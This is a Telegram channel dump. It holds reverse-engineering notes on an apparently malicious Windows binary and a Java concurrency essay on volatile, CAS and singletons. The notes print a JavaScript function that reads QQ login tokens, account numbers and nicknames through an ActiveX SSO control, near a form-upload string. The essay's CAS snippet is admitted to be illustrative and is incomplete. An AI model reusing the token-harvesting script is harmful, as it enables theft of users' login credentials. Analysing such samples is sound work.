/tmp/duangsuse.sock
23 subscribers
303 photos
3 videos
92 files
337 links
从 duangsuse::Echo (@dsuse) 跟进出来的分支,将在作者恢复原帐号访问的时候合并删除。
Download Telegram
Forwarded from Deleted Account
我给要看的各位大佬帮忙划个重点,Good luck, have a good night reversing!
RetDec 的函数签名基本是没有用的,名称没调试符号就没用、返回类型不准确、参数也不准确,所以就不标出来了

function_40770d
calling PathFindFileNameA
g218 = "\\"
function_40790d
calling PathFindExtensionA
function_40c770
calling GetModuleFileNameA, GetCommandLineA, PeekMessageA, GetMessageA, TranslateMessageA, DispatchMessageA...
"blackmoon"
g253 = ".gz"
g536 是一个 Handle
function_4110b0 和它调用的函数貌似来自一个压缩文件支持库
function_411aa0 calling GetDesktopWindow, GetTickCount

function_414520 是加密的,并且存储了很多非 ASCII 字符串

function_4017e6 包含大量和业务逻辑有关的 base64 字符串,并且使用了 ActiveX 的 API
3773 行,v23 = "SSOAxCtrlForPTLogin.SSOForPTLogin2"

3848 行,v23 = "http://xui.ptlogin2.qq.com/cgi-bin/qlogin"
3986 (药丸)行,v30 = JavaScript

document.body.innerHTML=GetuinKey();
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g<f;g++){var E=V.GetData(g);var P=E.GetDWord("dwSSO_Account_dwAccountUin");var U=E.GetStr("strSSO_Account_strNickName");var G=E.GetBuf("bufST_PTLOGIN");var A=G.GetSize();var N="";for(var Y=0;Y<A;Y++){var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};

L11345, v22 被设置为 "; "
L13198, v13 被设置为 "file"
L13903, v19 被设置为 "[dx]"
L13905, v21 被设置为 "[xiax]"
L1436, v28 被设置为 "Content-Type: multipart/form-data; boundary=---------------------------9813238148147"
L16323, v9 = "%f"
function_4096e0 calling CreateFile, WriteFile
function_409780 calling SetFileAttributesA

-

然后各位大佬可以搜索一下有非 function_ 名字的 CallExpr,不过 AWK 也完成不了,必须得手动 deep find & filter 语法树了
完了(大佬看
/tmp/duangsuse.sock
不好... 是并发数据竞争问题...
这个数据竞争问题,原因在于我想实现一个 ArrayStream(ArrayIterator)

可是,问题来了:它需要一个 int pos; 指针作为自己的状态,来决定下一次是返回数据(或者说返回“流结束了”),而即便可能没有必要,我也希望它能够被安全的并发访问 — 这意味着,它的状态(state) pos 必须是线程安全的,我们无法阻止 pos 指针(大概是,不过 Java 里没有 C 那样的指针)的移动,所以必须进行同步(synchronize)

我这里使用的方法很暴力,就是直接一个 volatile 加上万事大吉,可是真的就是这样吗?

Iterator 是一个状态机(也可以认为是一种『计数器』),它的状态很简单,就是一个『当前项』的指针,每次 next() previous() 都会进行状态转移。
改变 pos 状态的只有两个操作:moveNext()movePrevious()

如果不能保证任意时刻只有一个线程通过这两个暴露的 public 方法写(write) private int pos; volatile 做的保证(保证乱序执行的安全,不进行不安全的语句移动,数据修改发布其他线程立即可见)也是无效的

假设同时存在两个程序实例(一般由线程运作),拥有同一个 volatile 的 pos 状态,同时启动了 move...() 操作

是的,写入对两者来说都是立即可见新值,问题在于 ++pos; (pos = pos + 1;) 这种操作它不能保证写入的值一定是『正确』的
我们希望,两个线程调用完 moveNext() 后, pos == old_pos + 2, 可实际上有时候它只会 ==+1, 设想一下:

线程 A 求值 pos + 1 的时候,这里的 pos 是 old_pos
线程 B 求值 pos + 1 的时候,这里的 pos 也 TMD 是 old_pos
然后两者任一完成任务后,pos 的值将被覆盖为 old_pos +1,因为『后执行』者,得到的值不一定是『最新』的,也可能在执行 (+) 运算的时候,值已经更新。

是的,发布立刻可见,可未必代表不存在『复制』啊!
有了复制(到 Java 的求值栈上)就有可能 got outdated value,进而引发并发安全的问题 — Iterator 里,同一个数据会 next() 操作会提供两次,长度也可能一会是 2 一会变成 3,这是错误的!
(假设你拿它实现消息队列什么的,就不中用了)

内存和并发模型是一门语言非常底层的工作之一,一般来说只有类似 Rust、Java 这样计划的语言才会定义自己的内存和同步模型,很多时候同步问题没有那么受重视并且一般都用 C 的规范,一般讨论都有如下前提:『某事在某事(<) 发生』。

那有些『Java 高级后端工程师』『Android 高级开发工程师』就要说了,“这也能叫问题,synchronized 一下不就好了么?” 🤔

public synchronized void moveNext() { ++pos; }

这意味着 JVM 会保证,同一时刻就只能有一个 moveNext 操作在某个 ArrayStream 状态实例上执行,而如果同一个实例被并发访问,其他并发线程都得等待操作完成。

有问题吗?其实这也是一种正常的同步方法,互斥锁同步(exclusive lock)
Java 的 java.lang.Object 附带了 waitnotify 方法也可以实现这种同步方式(但是不得不承认,kotlin 的 Any 才是 Object 应该有的样子,这些明明是内部细节的东西却暴露出来)

那么有没有更加 efficient 的方法呢?有。答案是 OCC — 乐观并发控制。
值得注意的是,这里面有中国人的贡献。 😆

乐观并发控制是对于线程同步问题的 “非阻塞”(non-blocking) 解决方式,它是一种乐观优化(optimistic optimization)
(正如我[之前说的]) synchronized
虽然方便,但是它有一个很大的问题 — 并发访问的时候,实际上我们已经把并行计算的高效,替换成了不得不用锁进行同步,保证只有一个线程执行操作的尴尬。并行变串行,你怎么不把它直接标记成线程对立的操作?(跑,其实也是看情况的

(1)

考虑一下 moveNext 操作的数据依赖,其实『并发安全』的保证就是 — 有两个及以上线程同时访问,必须保证某个操作实例执行后,pos 状态都真实『+= 1』自增了,它是具有『原子性』的操作 — (+) 操作依赖的数据必须永远表示 pos 本身,写入也得立刻对另一个实例可见

可是这本身不容易,不过有个 Hack — 我们只是想要 f(n) = f(x) = x + n (高阶函数 higher-order function)这个加法操作正确(偶尔,因为其他线程的插入导致了结果不正确),数学是纯(pure)的,n 就是 n,x 就是 x,不可能在计算的时候,x 的值突然变成了 y,x 就是值本身(也可以参考下 Haskell 的惰性求值(lazy evaluation))。

不过实际计算的时候往往不能做到这个保证,怎么办?check 一下某个操作数是否『effective pure』!(致敬 Java 8 Lamda 表达式的 Effective final 问题... 这个问题还不如 C++ 处理的好)
如果发现操作数在计算进行的过程中没有发生变化(它是纯的),计算结果也是正确的。
否则,再进行一次,再进行一次... 直到 it checks,证明我们的计算是正确的,程序正确地处理了计算中由于操作重入(reentry)的数据变化。
(实际上因为我们的加法操作没有同步,证明了处理正确就意味着处理过程中并没有线程插进来写了 pos 状态,在很少机率失败时为成功的情况优化,失败则需要花费更多时间拯救,是乐观优化的基本思想)

于是 OCC 有一个操作『compare and exchange』 — 来实现这种 check,当然它本身也得是内部实现的 atomic 操作,
x86 有 cmpxchg 实际进行这种 CAS(cmp&swap) 操作,提供了更高并发性能的可能性

import static sun.misc.Unsafe;
(现在 JDK 8+ 应该是 jdk.internal.misc.Unsafe, Signal 等类也移动了,唉 jmod 啊)

// compareAndExchange Int(int i, int expectedValue, int newValue)
private protected volatile int pos = 0;
public void moveNext() {
final int oldpos = pos;
final int newpos = oldpos +1;
pos = compareAndExchangeInt(this, getAddress(pos), oldpos, newpos);
}

因为 Unsafe 是 undocumented API,我不保证示例的正确性,只是示意。
CAS 操作也的确存在着一个问题,如果还有线程把改过的 pos 『设置回去』成了 oldpos,则 CAS 操作也会正常 swap,即使数据已经改变过,不过这里是不会引发线程安全问题的。

因为这类『计数器』的同步比较常用,所以都提供了封装 — java.util.concurrent.atomic.AtomicInteger
它上面的操作,是具有原子性(atomic)且线程安全的,Kotlin/JVM 为 Coroutine 分配 executor 创建执行器名字的时候,就使用到了 AtomicInteger#incrementAndGet()

ES6 也添加了乐观并发控制的 API — have to do with ArrayBuffers, Atomics 对象可以使用类似 compare-and-exchange 的方法,也能做到 Atomic increasement 这种操作


引用:周志明《深入理解 Java 虚拟机:JVM 高级特性与最佳实践》陈光剑《Kotlin 极简教程》《The Rustonomicon》王亚刚《GCC 》

不过下面那个 org.duangsuse.promise.functional.adt.Dataprivate static volatile boolean metadataInitialized; 是没问题的,只要有一个线程完成了初始化,数据会立刻发布,所有线程可见(因为需要当前线程上下文的原因,我无法使用 static initializer... 也无法使用 private static inner class Singleton { static T INSTANCE = ...; }
不过,

Kotlin 里面的 lazy value delegate 也存在这样的选择,默认是 LazyThreadSafetyMode.SAFE 的,可是一般来说都会调成 LazyThreadSafetyMode.PUBLICATION_ONLY, 这就是利用了 @Volatile 同步线程本地缓存立即可见新值的特性。
/tmp/duangsuse.sock
这个数据竞争问题,原因在于我想实现一个 ArrayStream(ArrayIterator) 可是,问题来了:它需要一个 int pos; 指针作为自己的状态,来决定下一次是返回数据(或者说返回“流结束了”),而即便可能没有必要,我也希望它能够被安全的并发访问 — 这意味着,它的状态(state) pos 必须是线程安全的,我们无法阻止 pos 指针(大概是,不过 Java 里没有 C 那样的指针)的移动,所以必须进行同步(synchronize) 我这里使用的方法很暴力,就是直接一个 volatile…
辣鸡 Telegram 又嫌我太絮絮叨叨不让发... where (1)

《CLR via C#》的作者 Jeffrey Richter 就批判这种万能 Monitor 同步的方法 —
如果你要让对象线程安全,那就线程安全并且高效尽可能高效地线程安全,不要做个半吊子安全 reentrant。

看看 Java 程序员里著名的『双检锁(double-checked locking)』singleton 技术

static Boo INSTANCE = null;
public static Boo getInstance() {
if (INSTANCE != null) return INSTANCE;
synchronized (Boo.class) {
if (INSTANCE != null) return INSTANCE;
INSTANCE = new Boo(); return INSTANCE;
}
}

注意一下:
1. 方法签名没有 synchronized,这就表示不是方法级别的同步,而是可以并发执行方法,但是内部可以有 synchronized
2. 上面的程序是错的,为什么呢?
3. 因为 private Boo INSTANCE 不是 publication 立即可见的,可能一个线程调用 new Boo() 后其他线程看到 INSTANCE == null 又去 new 一次
4. 上面的程序还可以更好看,怎么修改?
5. 尝试合并一下分支,synchronized 里的 if 块有一个相同的控制流后件
6. 之所以在方法的第一个语句 check !=null 之后再在 synchronized check 一遍,是因为方法可能被重入,这种情况
若不去再次判断,synchronized 块里的 new Boo() 也会被执行两次

static volatile Boo INSTANCE = null;
public static Boo getInstance() {
if (INSTANCE != null) return INSTANCE;
synchronized (Boo.class) {
if (INSTANCE == null) INSTANCE = new Boo();
return INSTANCE;
}
}

其实,还不如让 JVM 替你直接 static 初始化了,而且也是线程安全的... 因为类初始化器 <clinit> (static {}) 被担保只执行一次(executed exactly once)。

private static class Singleton { public static Boo INSTANCE = new Boo(); }

只要应用程序的代码引用到 Singleton 类,它就会被自动初始化,并且这么做是线程安全的,无论多少并发访问,构造器 Boo() 只会被调用一次。
#Telegram #Chian #Freedom
Google Hosts 的 MTProto 最近不稳定,我到 Duck 上找了好久才找到一个这里能用的...
总结:duangsuse 目前还是不特别熟悉 C++,但我注意到我对代码的分析能力得到了很大的提升,我已经可以对曾经我看不懂或者不得要领的代码进行完全模拟和程序变换、等价分析了,即使我对零基数组的各种索引计算还存在着一些无法归纳到直觉里的东西,必须加强。

另外,我对 C++ 的一些基本的内存管理、对象模型、stream 模式的各种 API 使用都还有应该加强的地方,这些属于开阔视野系列。

而且,这个项目有一个亮点(虽然那个 fib 程序是最简单的递归 fib... 而且很慢)
不容易被注意到,就是 class literal_str;protected: char get_char(usize idx); 是递归程序
而且是我对原来网上找到大佬的文章进行整理得到的,还有可能修复了原来大佬的一个 bug

最看得起的两个子程序:
1 2

literal_str 类为了支持 mess 函数的实现,不得不把一些成员定义为 public,比如它的第二架构器、比如不得不提供 head (const char *) 的 getter

mess.hmess 函数使用了 #define 而不是 static inline, 是因为我怀疑计算没有被提升到编译期的问题是 inline 定义导致的///

目前还不能用,就是一个 essay 而已,以后我会写 Java 的版本
#Low #China 看来这位也是在日本政府爱的关怀下长大的 🌚
Forwarded from Yuuta 小台 @Trumeet (Yuuta⠀)
可以可以
Forwarded from 24601
Forwarded from 永久封存 | Yuuta 台 | 😷 #Pray4Wuhan (Yuuta⠀)
Screenshot_20190720-145206.jpg
710.1 KB
Hello world from OnePlus. (逃